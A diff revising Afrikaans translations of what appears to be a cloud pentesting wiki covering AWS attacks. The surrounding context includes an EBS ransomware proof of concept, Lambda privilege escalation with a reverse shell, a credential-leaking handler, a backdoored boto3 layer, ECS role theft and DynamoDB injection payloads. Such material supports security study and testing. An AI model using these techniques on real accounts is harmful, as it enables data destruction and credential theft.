@@ -231,7 +231,7 @@ Eerstens, vanaf 'n 'aanvaller' AWS rekening, skep 'n kliënt bestuurde sleutel i
|
||||
]
|
||||
}
|
||||
```
|
||||
Die sleutelbeleidreël benodig die volgende geaktiveer om die vermoë te hê om 'n EBS-volume te enkripteer:
|
||||
Die sleutelbeleid reël benodig die volgende geaktiveer om die vermoë te hê om dit te gebruik om 'n EBS volume te enkripteer:
|
||||
|
||||
- `kms:CreateGrant`
|
||||
- `kms:Decrypt`
|
||||
@@ -239,21 +239,21 @@ Die sleutelbeleidreël benodig die volgende geaktiveer om die vermoë te hê om
|
||||
- `kms:GenerateDataKeyWithoutPlainText`
|
||||
- `kms:ReEncrypt`
|
||||
|
||||
Nou met die publiek toeganklike sleutel om te gebruik. Ons kan 'n 'slagoffer' rekening gebruik wat 'n paar EC2-instanse het met nie-geënkripteerde EBS-volumes aangeheg. Hierdie 'slagoffer' rekening se EBS-volumes is wat ons teiken vir enkripsie, hierdie aanval is onder die veronderstelde oortreding van 'n hoë-bevoegdheid AWS-rekening.
|
||||
Nou met die publiek toeganklike sleutel om te gebruik. Ons kan 'n 'slagoffer' rekening gebruik wat 'n paar EC2 instances het met nie-geënkripteerde EBS volumes aangeheg. Hierdie 'slagoffer' rekening se EBS volumes is wat ons teiken vir enkripsie, hierdie aanval is onder die veronderstelde oortreding van 'n hoë-bevoegdheid AWS rekening.
|
||||
|
||||
 
|
||||
|
||||
Soos in die S3 ransomware voorbeeld. Hierdie aanval sal kopieë van die aangehegte EBS-volumes skep met behulp van snapshots, die publiek beskikbare sleutel van die 'aanvaller' rekening gebruik om die nuwe EBS-volumes te enkripteer, dan die oorspronklike EBS-volumes van die EC2-instanse af te ontkoppel en te verwyder, en dan uiteindelik die snapshots wat gebruik is om die nuut geënkripteerde EBS-volumes te skep, te verwyder. 
|
||||
Soos in die S3 ransomware voorbeeld. Hierdie aanval sal kopieë van die aangehegte EBS volumes skep met behulp van snapshots, die publiek beskikbare sleutel van die 'aanvaller' rekening gebruik om die nuwe EBS volumes te enkripteer, dan die oorspronklike EBS volumes van die EC2 instances af te haal en hulle te verwyder, en dan uiteindelik die snapshots wat gebruik is om die nuut geënkripteerde EBS volumes te skep, te verwyder. 
|
||||
|
||||
Dit lei tot slegs geënkripteerde EBS-volumes wat in die rekening beskikbaar is.
|
||||
Dit lei tot slegs geënkripteerde EBS volumes wat beskikbaar is in die rekening.
|
||||
|
||||

|
||||
|
||||
Dit is ook die moeite werd om te noem dat die skrip die EC2-instanse gestop het om die oorspronklike EBS-volumes te ontkoppel en te verwyder. Die oorspronklike nie-geënkripteerde volumes is nou weg.
|
||||
Dit is ook die moeite werd om te noem, die skrip het die EC2 instances gestop om die oorspronklike EBS volumes af te haal en te verwyder. Die oorspronklike nie-geënkripteerde volumes is nou weg.
|
||||
|
||||

|
||||
|
||||
Volgende, keer terug na die sleutelbeleid in die 'aanvaller' rekening en verwyder die 'Buitelandse Enkripsie' beleidreël uit die sleutelbeleid.
|
||||
Volgende, keer terug na die sleutelbeleid in die 'aanvaller' rekening en verwyder die 'Buite Enkripsie' beleid reël uit die sleutelbeleid.
|
||||
```json
|
||||
{
|
||||
"Version": "2012-10-17",
|
||||
@@ -324,15 +324,15 @@ Volgende, keer terug na die sleutelbeleid in die 'aanvaller' rekening en verwyde
|
||||
]
|
||||
}
|
||||
```
|
||||
Wag 'n bietjie vir die nuut ingestelde sleutelbeleid om te versprei. Keer dan terug na die 'slagoffer' rekening en probeer om een van die nuut versleutelde EBS volumes aan te sluit. Jy sal vind dat jy die volume kan aanheg.
|
||||
Wag 'n oomblik vir die nuut ingestelde sleutelbeleid om te propagate. Keer dan terug na die 'slagoffer' rekening en probeer om een van die nuut versleutelde EBS volumes aan te sluit. Jy sal vind dat jy die volume kan aanheg.
|
||||
|
||||
 
|
||||
|
||||
Maar wanneer jy probeer om die EC2 instansie weer op te start met die versleutelde EBS volume, sal dit net misluk en van die 'pending' toestand teruggaan na die 'stopped' toestand vir altyd, aangesien die aangehegte EBS volume nie ontsleutel kan word met die sleutel nie, omdat die sleutelbeleid dit nie meer toelaat nie.
|
||||
Maar wanneer jy probeer om die EC2 instansie weer op te start met die versleutelde EBS volume, sal dit net misluk en van die 'pending' toestand teruggaan na die 'stopped' toestand vir altyd, aangesien die aangehegte EBS volume nie ontsleut kan word met die sleutel nie, omdat die sleutelbeleid dit nie meer toelaat nie.
|
||||
|
||||
 
|
||||
|
||||
Dit is die python skrip wat gebruik word. Dit neem AWS krediete vir 'n slagoffer' rekening en 'n publiek beskikbare AWS ARN waarde vir die sleutel wat gebruik gaan word vir versleuteling. Die skrip sal versleutelde kopieë van ALLE beskikbare EBS volumes wat aan ALLE EC2 instansies in die geteikende AWS rekening aangeheg is, maak, dan elke EC2 instansie stop, die oorspronklike EBS volumes ontkoppel, hulle verwyder, en uiteindelik al die snappings wat tydens die proses gebruik is, verwyder. Dit sal slegs versleutelde EBS volumes in die geteikende 'slagoffer' rekening laat. GEBRUIK DIT SLEGS IN 'N TOETSOMGEWING, DIT IS DESTRUKTIEF EN SAL AL DIE OORSPRONKLIKE EBS VOLUMES VERWYDER. Jy kan hulle herstel met die gebruikte KMS sleutel en hulle na hul oorspronklike toestand via snappings herstel, maar ek wil jou net bewus maak dat dit 'n ransomware PoC aan die einde van die dag is.
|
||||
Dit is die python skrip wat gebruik word. Dit neem AWS krediete vir 'n 'slagoffer' rekening en 'n publiek beskikbare AWS ARN waarde vir die sleutel wat gebruik gaan word vir versleuteling. Die skrip sal versleutelde kopieë van ALLE beskikbare EBS volumes wat aan ALLE EC2 instansies in die geteikende AWS rekening geheg is, maak, dan elke EC2 instansie stop, die oorspronklike EBS volumes ontkoppel, hulle verwyder, en uiteindelik al die snappings wat tydens die proses gebruik is, verwyder. Dit sal slegs versleutelde EBS volumes in die geteikende 'slagoffer' rekening laat. GEBRUIK DIT SLEGS IN 'N TOETSOMGEWING, DIT IS DESTRUKTIEF EN SAL AL DIE OORSPRONKLIKE EBS VOLUMES VERWYDER. Jy kan hulle herstel met die gebruikte KMS sleutel en hulle na hul oorspronklike toestand via snappings herstel, maar ek wil jou net bewus maak dat dit 'n ransomware PoC aan die einde van die dag is.
|
||||
```
|
||||
import boto3
|
||||
import argparse
|
||||
|
||||
@@ -10,7 +10,7 @@ Vir meer inligting, kyk
|
||||
../aws-services/aws-ecr-enum.md
|
||||
{{#endref}}
|
||||
|
||||
### Teken in, Trek & Stoot
|
||||
### Login, Pull & Push
|
||||
```bash
|
||||
# Docker login into ecr
|
||||
## For public repo (always use us-east-1)
|
||||
@@ -49,7 +49,7 @@ aws ecr get-download-url-for-layer \
|
||||
Na die aflaai van die beelde moet jy **hulle vir sensitiewe inligting nagaan**:
|
||||
|
||||
{{#ref}}
|
||||
https://book.hacktricks.xyz/generic-methodologies-and-resources/basic-forensic-methodology/docker-forensics
|
||||
https://book.hacktricks.wiki/en/generic-methodologies-and-resources/basic-forensic-methodology/docker-forensics.html
|
||||
{{#endref}}
|
||||
|
||||
### `ecr:PutLifecyclePolicy` | `ecr:DeleteRepository` | `ecr-public:DeleteRepository` | `ecr:BatchDeleteImage` | `ecr-public:BatchDeleteImage`
|
||||
|
||||
@@ -13,10 +13,10 @@ Vir meer inligting, kyk:
|
||||
### Host IAM Roles
|
||||
|
||||
In ECS kan 'n **IAM rol aan die taak** toegeken word wat binne die houer loop. **As** die taak binne 'n **EC2** instansie loop, sal die **EC2 instansie** 'n **ander IAM** rol aan dit hê.\
|
||||
Dit beteken dat as jy daarin slaag om 'n ECS instansie te **kompromitteer**, jy potensieel die **IAM rol geassosieer met die ECR en die EC2 instansie** kan **verkry**. Vir meer inligting oor hoe om daardie akrediteer te verkry, kyk:
|
||||
Dit beteken dat as jy daarin slaag om 'n ECS instansie te **kompromitteer**, jy potensieel die **IAM rol geassosieer met die ECR en die EC2 instansie** kan **verkry**. Vir meer inligting oor hoe om daardie akrediteer te kry, kyk:
|
||||
|
||||
{{#ref}}
|
||||
https://book.hacktricks.xyz/pentesting-web/ssrf-server-side-request-forgery/cloud-ssrf
|
||||
https://book.hacktricks.wiki/en/pentesting-web/ssrf-server-side-request-forgery/cloud-ssrf.html
|
||||
{{#endref}}
|
||||
|
||||
> [!CAUTION]
|
||||
@@ -28,7 +28,7 @@ Maar verder, gebruik EC2 docker om ECs take te loop, so as jy kan ontsnap na die
|
||||
|
||||
#### Making containers run in current host
|
||||
|
||||
Verder sal die **EC2 instansie rol** gewoonlik genoeg **toestemmings** hê om die **toestand van die houer instansie** van die EC2 instansies wat as nodes binne die kluster gebruik word, te **opdateer**. 'n Aanvaller kan die **toestand van 'n instansie na DRAINING** verander, dan sal ECS **alle take daarvan verwyder** en diegene wat as **REPLICA** loop, sal in 'n ander instansie **loop**, potensieel binne die **aanvaller se instansie** sodat hy **hulle IAM rolle** en potensieel sensitiewe inligting van binne die houer kan **steel**.
|
||||
Boonop sal die **EC2 instansie rol** gewoonlik genoeg **toestemmings** hê om die **toestand van die houer instansie** van die EC2 instansies wat as nodes binne die kluster gebruik word, te **opdateer**. 'n Aanvaller kan die **toestand van 'n instansie na DRAINING** verander, dan sal ECS **alle take daarvan verwyder** en diegene wat as **REPLICA** loop, sal in 'n ander instansie **loop**, potensieel binne die **aanvaller se instansie** sodat hy **hulle IAM rolle** en potensieel sensitiewe inligting van binne die houer kan **steel**.
|
||||
```bash
|
||||
aws ecs update-container-instances-state \
|
||||
--cluster <cluster> --status DRAINING --container-instances <container-instance-id>
|
||||
@@ -50,7 +50,7 @@ aws ecs submit-container-state-change ...
|
||||
# Needs: ecs:SubmitAttachmentStateChanges
|
||||
aws ecs submit-attachment-state-changes ...
|
||||
```
|
||||
### Steel sensitiewe inligting uit ECR houers
|
||||
### Steel sensitiewe inligting van ECR houers
|
||||
|
||||
Die EC2-instantie sal waarskynlik ook die toestemming `ecr:GetAuthorizationToken` hê wat dit toelaat om **beelde af te laai** (jy kan sensitiewe inligting daarin soek).
|
||||
|
||||
|
||||
@@ -12,9 +12,9 @@ Meer inligting oor lambda in:
|
||||
|
||||
### `iam:PassRole`, `lambda:CreateFunction`, (`lambda:InvokeFunction` | `lambda:InvokeFunctionUrl`)
|
||||
|
||||
Gebruikers met die **`iam:PassRole`, `lambda:CreateFunction`, en `lambda:InvokeFunction`** toestemmings kan hul voorregte verhoog.\
|
||||
Gebruikers met die **`iam:PassRole`, `lambda:CreateFunction`, en `lambda:InvokeFunction`** toestemmings kan hul bevoegdhede verhoog.\
|
||||
Hulle kan **'n nuwe Lambda-funksie skep en dit 'n bestaande IAM-rol toewys**, wat die funksie die toestemmings verleen wat met daardie rol geassosieer word. Die gebruiker kan dan **kode skryf en oplaai na hierdie Lambda-funksie (met 'n rev shell byvoorbeeld)**.\
|
||||
Sodra die funksie opgestel is, kan die gebruiker **die uitvoering daarvan aktiveer** en die beoogde aksies deur die Lambda-funksie via die AWS API aanroep. Hierdie benadering stel die gebruiker effektief in staat om take indirek deur die Lambda-funksie uit te voer, werkend met die vlak van toegang wat aan die IAM-rol geassosieer met dit verleen is.\\
|
||||
Sodra die funksie opgestel is, kan die gebruiker **die uitvoering daarvan aktiveer** en die beoogde aksies deur die Lambda-funksie deur die AWS API aan te roep. Hierdie benadering stel die gebruiker effektief in staat om take indirek deur die Lambda-funksie uit te voer, werkend met die toegangsvlak wat aan die IAM-rol gegee is.\\
|
||||
|
||||
'n Aanvaller kan dit misbruik om 'n **rev shell te kry en die token te steel**:
|
||||
```python:rev.py
|
||||
@@ -58,7 +58,7 @@ PolicyArn='arn:aws:iam::aws:policy/AdministratorAccess'
|
||||
)
|
||||
return response
|
||||
```
|
||||
Dit is ook moontlik om die lambda se rol geloofsbriewe te lek sonder om 'n eksterne verbinding te benodig. Dit sou nuttig wees vir **Netwerk-isoleerde Lambdas** wat op interne take gebruik word. As daar onbekende sekuriteitsgroepe is wat jou omgekeerde skale filter, sal hierdie stuk kode jou toelaat om die geloofsbriewe direk as die uitvoer van die lambda te lek.
|
||||
Dit is ook moontlik om die lambda se rol geloofsbriewe te lek sonder om 'n eksterne verbinding te benodig. Dit sou nuttig wees vir **Netwerk-isoleerde Lambdas** wat op interne take gebruik word. As daar onbekende sekuriteitsgroepe is wat jou omgekeerde skulpies filter, sal hierdie stuk kode jou toelaat om die geloofsbriewe direk as die uitvoer van die lambda te lek.
|
||||
```python
|
||||
def handler(event, context):
|
||||
sessiontoken = open('/proc/self/environ', "r").read()
|
||||
@@ -75,7 +75,7 @@ cat output.txt
|
||||
**Potensiële Impak:** Direkte privesc na die arbitrêre lambda diensrol wat gespesifiseer is.
|
||||
|
||||
> [!CAUTION]
|
||||
> Let daarop dat selfs al lyk dit interessant **`lambda:InvokeAsync`** **nie** op sy eie toelaat om **`aws lambda invoke-async`** uit te voer nie, jy het ook `lambda:InvokeFunction` nodig.
|
||||
> Let daarop dat selfs al lyk dit interessant **`lambda:InvokeAsync`** **nie** op sy eie toelaat om **`aws lambda invoke-async`** uit te voer nie, jy het ook **`lambda:InvokeFunction`** nodig.
|
||||
|
||||
### `iam:PassRole`, `lambda:CreateFunction`, `lambda:AddPermission`
|
||||
|
||||
@@ -92,7 +92,7 @@ aws --profile "$NON_PRIV_PROFILE_USER" lambda add-permission --function-name my_
|
||||
Gebruikers met **`iam:PassRole`, `lambda:CreateFunction`, en `lambda:CreateEventSourceMapping`** toestemmings (en moontlik `dynamodb:PutItem` en `dynamodb:CreateTable`) kan indirek **privileges verhoog** selfs sonder `lambda:InvokeFunction`.\
|
||||
Hulle kan 'n **Lambda-funksie met kwaadwillige kode skep en dit 'n bestaande IAM-rol toewys**.
|
||||
|
||||
In plaas daarvan om die Lambda direk aan te roep, stel die gebruiker 'n bestaande DynamoDB-tabel op of gebruik dit, en koppel dit aan die Lambda deur 'n gebeurtenisbron-mapping. Hierdie opstelling verseker dat die Lambda-funksie **automaties geaktiveer word wanneer 'n nuwe item** in die tabel ingevoer word, hetsy deur die gebruiker se aksie of 'n ander proses, en roep dus indirek die Lambda-funksie aan en voer die kode uit met die toestemmings van die oorgedraagde IAM-rol.
|
||||
In plaas daarvan om die Lambda direk aan te roep, stel die gebruiker 'n bestaande DynamoDB-tabel op of gebruik dit, en koppel dit aan die Lambda deur 'n gebeurtenisbron-mapping. Hierdie opstelling verseker dat die Lambda-funksie **automaties geaktiveer word by 'n nuwe item** invoer in die tabel, hetsy deur die gebruiker se aksie of 'n ander proses, en roep dus indirek die Lambda-funksie aan en voer die kode uit met die toestemmings van die oorgedraagde IAM-rol.
|
||||
```bash
|
||||
aws lambda create-function --function-name my_function \
|
||||
--runtime python3.8 --role <arn_of_lambda_role> \
|
||||
@@ -113,7 +113,7 @@ aws lambda create-event-source-mapping --function-name my_function \
|
||||
--event-source-arn <arn_of_dynamodb_table_stream> \
|
||||
--enabled --starting-position LATEST
|
||||
```
|
||||
Met die Lambda-funksie wat aan die DynamoDB-stroom gekoppel is, kan die aanvaller **indirek die Lambda aktiveer deur die DynamoDB-stroom te aktiveer**. Dit kan bereik word deur **'n item in die DynamoDB-tabel in te voeg**:
|
||||
Met die Lambda-funksie wat aan die DynamoDB-stroom gekoppel is, kan die aanvaller **indirek die Lambda aktiveer deur die DynamoDB-stroom te aktiveer**. Dit kan bereik word deur **'n item in die DynamoDB-tabel in te voeg:**
|
||||
```bash
|
||||
aws dynamodb put-item --table-name my_table \
|
||||
--item Test={S="Random string"}
|
||||
@@ -122,7 +122,7 @@ aws dynamodb put-item --table-name my_table \
|
||||
|
||||
### `lambda:AddPermission`
|
||||
|
||||
'n Aanvaller met hierdie toestemming kan **homself (of ander) enige toestemmings gee** (dit genereer hulpbron-gebaseerde beleide om toegang tot die hulpbron te gee):
|
||||
'n Aanvaller met hierdie toestemming kan **homself (of ander) enige toestemmings gee** (dit genereer hulpbron-gebaseerde beleide om toegang tot die hulpbron te verleen):
|
||||
```bash
|
||||
# Give yourself all permissions (you could specify granular such as lambda:InvokeFunction or lambda:UpdateFunctionCode)
|
||||
aws lambda add-permission --function-name <func_name> --statement-id asdasd --action '*' --principal arn:<your user arn>
|
||||
@@ -144,7 +144,7 @@ aws lambda add-layer-version-permission --layer-name ExternalBackdoor --statemen
|
||||
### `lambda:UpdateFunctionCode`
|
||||
|
||||
Gebruikers wat die **`lambda:UpdateFunctionCode`** toestemming het, het die potensiaal om die **kode van 'n bestaande Lambda-funksie wat aan 'n IAM-rol gekoppel is, te wysig.**\
|
||||
Die aanvaller kan **die kode van die lambda wysig om die IAM-akkrediteer te eksfiltreer**.
|
||||
Die aanvaller kan **die kode van die lambda wysig om die IAM-akkrediteerings te eksfiltreer**.
|
||||
|
||||
Alhoewel die aanvaller dalk nie die direkte vermoë het om die funksie aan te roep nie, as die Lambda-funksie reeds bestaan en operasioneel is, is dit waarskynlik dat dit geaktiveer sal word deur bestaande werksvloei of gebeurtenisse, wat dus indirek die uitvoering van die gewysigde kode fasiliteer.
|
||||
```bash
|
||||
@@ -170,12 +170,12 @@ aws --profile none-priv lambda update-function-configuration --function-name <fu
|
||||
Vir ander skripting tale is daar ander omgewingsveranderlikes wat jy kan gebruik. Vir meer inligting, kyk na die subafdelings van skripting tale in:
|
||||
|
||||
{{#ref}}
|
||||
https://book.hacktricks.xyz/macos-hardening/macos-security-and-privilege-escalation/macos-proces-abuse
|
||||
https://book.hacktricks.wiki/en/macos-hardening/macos-security-and-privilege-escalation/macos-proces-abuse/index.html
|
||||
{{#endref}}
|
||||
|
||||
#### RCE via Lambda Layers
|
||||
|
||||
[**Lambda Layers**](https://docs.aws.amazon.com/lambda/latest/dg/configuration-layers.html) laat jou toe om **kode** in jou lamdba-funksie in te sluit, maar **dit apart te stoor**, sodat die funksiekode klein kan bly en **verskeie funksies kode kan deel**.
|
||||
[**Lambda Layers**](https://docs.aws.amazon.com/lambda/latest/dg/configuration-layers.html) laat jou toe om **kode** in jou lamdba funksie in te sluit, maar **dit apart te stoor**, sodat die funksiekode klein kan bly en **verskeie funksies kode kan deel**.
|
||||
|
||||
Binne lambda kan jy die paaie nagaan waarvandaan python kode gelaai word met 'n funksie soos die volgende:
|
||||
```python
|
||||
@@ -204,18 +204,18 @@ Byvoorbeeld, die biblioteek boto3 word gelaai vanaf `/var/runtime/boto3` (4de po
|
||||
|
||||
Dit is moontlik om die toestemming `lambda:UpdateFunctionConfiguration` te misbruik om **'n nuwe laag** by 'n lambda-funksie te **voeg**. Om arbitrêre kode uit te voer, moet hierdie laag 'n **biblioteek bevat wat die lambda gaan invoer.** As jy die kode van die lambda kan lees, kan jy dit maklik vind, let ook daarop dat dit moontlik is dat die lambda **reeds 'n laag gebruik** en jy kan die laag **aflaai** en **jou kode** daarby voeg.
|
||||
|
||||
Byvoorbeeld, kom ons neem aan dat die lambda die biblioteek boto3 gebruik, dit sal 'n plaaslike laag skep met die laaste weergawe van die biblioteek:
|
||||
Byvoorbeeld, kom ons veronderstel dat die lambda die biblioteek boto3 gebruik, dit sal 'n plaaslike laag skep met die laaste weergawe van die biblioteek:
|
||||
```bash
|
||||
pip3 install -t ./lambda_layer boto3
|
||||
```
|
||||
U kan `./lambda_layer/boto3/__init__.py` oopmaak en **die agterdeur in die globale kode voeg** ('n funksie om akrediteerbare inligting te ekfiltreer of 'n omgekeerde skulp te kry, byvoorbeeld).
|
||||
U kan `./lambda_layer/boto3/__init__.py` oopmaak en **die agterdeur in die globale kode voeg** ('n funksie om akrediteerbare inligting te eksfiltreer of 'n omgekeerde skulp te kry, byvoorbeeld).
|
||||
|
||||
Zip dan daardie `./lambda_layer` gids en **laai die nuwe lambda-laag op** in u eie rekening (of in die slagoffer s'n, maar u mag dalk nie toestemming hê hiervoor nie).\
|
||||
Let daarop dat u 'n python-gids moet skep en die biblioteke daarin moet plaas om /opt/python/boto3 te oorskry. Ook, die laag moet **kompatibel wees met die python weergawe** wat deur die lambda gebruik word en as u dit na u rekening oplaai, moet dit in die **dieselfde streek** wees:
|
||||
Zip dan daardie `./lambda_layer` gids en **laai die nuwe lambda-laag op** in u eie rekening (of in die slagoffers een, maar u mag dalk nie toestemmings hiervoor hê nie).\
|
||||
Let daarop dat u 'n python-gids moet skep en die biblioteke daarin moet plaas om /opt/python/boto3 te oorskry. Ook moet die laag **kompatibel wees met die python weergawe** wat deur die lambda gebruik word, en as u dit na u rekening oplaai, moet dit in die **dieselfde streek** wees:
|
||||
```bash
|
||||
aws lambda publish-layer-version --layer-name "boto3" --zip-file file://backdoor.zip --compatible-architectures "x86_64" "arm64" --compatible-runtimes "python3.9" "python3.8" "python3.7" "python3.6"
|
||||
```
|
||||
Nou, maak die opgelaaide lambda-laag **toeganklik vir enige rekening**:
|
||||
Maak die opgelaaide lambda-laag **toeganklik vir enige rekening**:
|
||||
```bash
|
||||
aws lambda add-layer-version-permission --layer-name boto3 \
|
||||
--version-number 1 --statement-id public \
|
||||
@@ -228,9 +228,9 @@ aws lambda update-function-configuration \
|
||||
--layers arn:aws:lambda:<region>:<attacker-account-id>:layer:boto3:1 \
|
||||
--timeout 300 #5min for rev shells
|
||||
```
|
||||
Die volgende stap sou wees om of die **funksie** self aan te roep as ons kan of om te wag totdat dit **aangeroep word** deur normale middele – wat die veiliger metode is.
|
||||
Die volgende stap sal wees om of **die funksie** self aan te roep as ons kan of om te wag totdat **dit aangeroep word** deur normale middele – wat die veiliger metode is.
|
||||
|
||||
'n **Meer stil manier om hierdie kwesbaarheid te benut** kan gevind word in:
|
||||
'n **Meer stealth manier om hierdie kwesbaarheid te benut** kan gevind word in:
|
||||
|
||||
{{#ref}}
|
||||
../aws-persistence/aws-lambda-persistence/aws-lambda-layers-persistence.md
|
||||
|
||||
@@ -24,7 +24,7 @@ aws --region us-east-1 --profile ad docdb describe-db-cluster-snapshot-attribute
|
||||
Aangesien DocumentDB 'n MongoDB-ondersteunde databasis is, kan jy jou voorstel dat dit ook kwesbaar is vir algemene NoSQL inspuitingsaanvalle:
|
||||
|
||||
{{#ref}}
|
||||
https://book.hacktricks.xyz/pentesting-web/nosql-injection
|
||||
https://book.hacktricks.wiki/en/pentesting-web/nosql-injection.html
|
||||
{{#endref}}
|
||||
|
||||
### DocumentDB
|
||||
|
||||
@@ -8,7 +8,7 @@
|
||||
|
||||
Amazon DynamoDB word deur AWS aangebied as 'n **volledig bestuurde, serverless, sleutel-waarde NoSQL-databasis**, ontwerp om hoë-prestasie toepassings te ondersteun, ongeag hul grootte. Die diens verseker robuuste kenmerke, insluitend inherente sekuriteitsmaatreëls, ononderbroken rugsteun, geoutomatiseerde replikaasies oor verskeie streke, geïntegreerde in-geheue kas, en gerieflike data-eksporthulpmiddels.
|
||||
|
||||
In die konteks van DynamoDB, in plaas daarvan om 'n tradisionele databasis op te stel, **word tafels geskep**. Elke tafel vereis die spesifikasie van 'n **partisie-sleutel** as 'n integrale komponent van die **tafel se primêre sleutel**. Hierdie partisiesleutel, wat essensieel 'n **hash-waarde** is, speel 'n kritieke rol in beide die herwinning van items en die verspreiding van data oor verskeie gasheers. Hierdie verspreiding is van kardinale belang om beide skaalbaarheid en beskikbaarheid van die databasis te handhaaf. Daar is ook 'n opsie om 'n **sorteersleutel** in te sluit om data-organisasie verder te verfyn.
|
||||
In die konteks van DynamoDB, in plaas daarvan om 'n tradisionele databasis op te stel, **word tafels geskep**. Elke tafel vereis die spesifikasie van 'n **partisie-sleutel** as 'n integrale komponent van die **tafel se primêre sleutel**. Hierdie partisiesleutel, wat essensieel 'n **hash-waarde** is, speel 'n kritieke rol in beide die herwinning van items en die verspreiding van data oor verskeie gasheers. Hierdie verspreiding is van kardinale belang vir die handhawing van beide skaalbaarheid en beskikbaarheid van die databasis. Daar is ook 'n opsie om 'n **sorteersleutel** in te sluit om data-organisasie verder te verfyn.
|
||||
|
||||
### Enkripsie
|
||||
|
||||
@@ -59,7 +59,7 @@ aws dynamodb describe-endpoints #Dynamodb endpoints
|
||||
../aws-unauthenticated-enum-access/aws-dynamodb-unauthenticated-access.md
|
||||
{{#endref}}
|
||||
|
||||
### Privesc
|
||||
### Privilege Escalation
|
||||
|
||||
{{#ref}}
|
||||
../aws-privilege-escalation/aws-dynamodb-privesc.md
|
||||
@@ -81,15 +81,15 @@ aws dynamodb describe-endpoints #Dynamodb endpoints
|
||||
|
||||
### SQL Inspuiting
|
||||
|
||||
Daar is maniere om toegang tot DynamoDB data te verkry met **SQL-sintaks**, daarom is tipiese **SQL-inspuitings ook moontlik**.
|
||||
Daar is maniere om toegang tot DynamoDB data te verkry met **SQL-sintaksis**, daarom is tipiese **SQL-inspuitings ook moontlik**.
|
||||
|
||||
{{#ref}}
|
||||
https://book.hacktricks.xyz/pentesting-web/sql-injection
|
||||
https://book.hacktricks.wiki/en/pentesting-web/sql-injection/index.html
|
||||
{{#endref}}
|
||||
|
||||
### NoSQL Inspuiting
|
||||
|
||||
In DynamoDB kan verskillende **voorwaardes** gebruik word om data te verkry, soos in 'n algemene NoSQL Inspuiting. As dit moontlik is om **meer voorwaardes te ketting om** data te verkry, kan jy versteekte data verkry (of die hele tabel dump).\
|
||||
In DynamoDB kan verskillende **voorwaardes** gebruik word om data te verkry, soos in 'n algemene NoSQL-inspuiting. As dit moontlik is om **meer voorwaardes te koppel om** data te verkry, kan jy verborge data verkry (of die hele tabel dump).\
|
||||
Jy kan hier die voorwaardes vind wat deur DynamoDB ondersteun word: [https://docs.aws.amazon.com/amazondynamodb/latest/APIReference/API_Condition.html](https://docs.aws.amazon.com/amazondynamodb/latest/APIReference/API_Condition.html)
|
||||
|
||||
Let daarop dat **verskillende voorwaardes** ondersteun word as die data via **`query`** of via **`scan`** verkry word.
|
||||
@@ -105,10 +105,10 @@ As jy die **vergelyking** wat uitgevoer word kan **verander** of nuwe kan byvoeg
|
||||
"GT": " " #All strings are greater than a space
|
||||
```
|
||||
{{#ref}}
|
||||
https://book.hacktricks.xyz/pentesting-web/nosql-injection
|
||||
https://book.hacktricks.wiki/en/pentesting-web/nosql-injection.html
|
||||
{{#endref}}
|
||||
|
||||
### Rauwe Json-inspuiting
|
||||
### Rauwe Json inspuiting
|
||||
|
||||
> [!CAUTION]
|
||||
> **Hierdie kwesbaarheid is gebaseer op dynamodb Scan Filter wat nou verouderd is!**
|
||||
@@ -119,7 +119,7 @@ Byvoorbeeld, inspuiting in 'n versoek soos:
|
||||
```bash
|
||||
'{"Id": {"ComparisonOperator": "EQ","AttributeValueList": [{"N": "' + user_input + '"}]}}'
|
||||
```
|
||||
'n aanvaller kan iets soos injecteer:
|
||||
'n aanvaller kan iets soos hierdie inspuit:
|
||||
|
||||
`1000"}],"ComparisonOperator": "GT","AttributeValueList": [{"N": "0`
|
||||
|
||||
@@ -148,11 +148,11 @@ password: none"}],"ComparisonOperator": "NE","AttributeValueList": [{"S": "none
|
||||
```
|
||||
### :property Injection
|
||||
|
||||
Sommige SDK's laat 'n string toe wat die filtrering aandui wat uitgevoer moet word soos:
|
||||
Sommige SDK's laat toe om 'n string te gebruik wat die filtrering aandui wat uitgevoer moet word soos:
|
||||
```java
|
||||
new ScanSpec().withProjectionExpression("UserName").withFilterExpression(user_input+" = :username and Password = :password").withValueMap(valueMap)
|
||||
```
|
||||
Jy moet weet dat wanneer jy in DynamoDB soek om 'n attribuut se **waarde** in **filteruitdrukkings** te **vervang** terwyl jy die items skandeer, die tokens moet **begin** met die **`:`** karakter. Sulke tokens sal met die werklike **attribuutwaarde tydens uitvoering** **vervang** word.
|
||||
Jy moet weet dat wanneer jy in DynamoDB soek om 'n attribuut **waarde** in **filteruitdrukkings** te **vervang** terwyl jy die items skandeer, die tokens moet **begin** met die **`:`** karakter. Sulke tokens sal met die werklike **attribuutwaarde tydens uitvoering** **vervang** word.
|
||||
|
||||
Daarom kan 'n aanmelding soos die vorige omseil word met iets soos:
|
||||
```bash
|
||||
|
||||
@@ -12,13 +12,13 @@ aws-vpc-and-networking-basic-information.md
|
||||
|
||||
## EC2
|
||||
|
||||
Amazon EC2 word gebruik om **virtuele bedieners** te begin. Dit stel die konfigurasie van **sekuriteit** en **netwerk** en die bestuur van **berging** moontlik. Die buigsaamheid van Amazon EC2 is duidelik in sy vermoë om hulpbronne op en af te skaal, wat effektief aanpas by verskillende vereiste veranderinge of toename in gewildheid. Hierdie kenmerk verminder die noodsaaklikheid vir presiese verkeersvoorspellings.
|
||||
Amazon EC2 word gebruik om **virtuele bedieners** te begin. Dit stel die konfigurasie van **veiligheid** en **netwerk** en die bestuur van **berging** moontlik. Die buigsaamheid van Amazon EC2 is duidelik in sy vermoë om hulpbronne op en af te skaal, wat effektief aanpas by verskillende vereiste veranderinge of stygings in gewildheid. Hierdie kenmerk verminder die noodsaaklikheid vir presiese verkeersvoorspellings.
|
||||
|
||||
Interessante dinge om in EC2 te enumereer:
|
||||
|
||||
- Virtuele Masjiene
|
||||
- SSH Sleutels
|
||||
- Gebruikerdata
|
||||
- Gebruikersdata
|
||||
- Bestaande EC2s/AMIs/Snapshots
|
||||
- Netwerk
|
||||
- Netwerke
|
||||
@@ -29,16 +29,16 @@ Interessante dinge om in EC2 te enumereer:
|
||||
|
||||
### Instance Profiles
|
||||
|
||||
Om **rolle** te gebruik om toestemmings aan toepassings wat op **EC2-instances** loop te verleen, vereis 'n bietjie ekstra konfigurasie. 'n Toepassing wat op 'n EC2-instance loop, is geabstraheer van AWS deur die gevirtualiseerde bedryfstelsel. Vanweë hierdie ekstra skeiding, benodig jy 'n bykomende stap om 'n AWS-rol en sy geassosieerde toestemmings aan 'n EC2-instance toe te ken en dit beskikbaar te stel vir sy toepassings.
|
||||
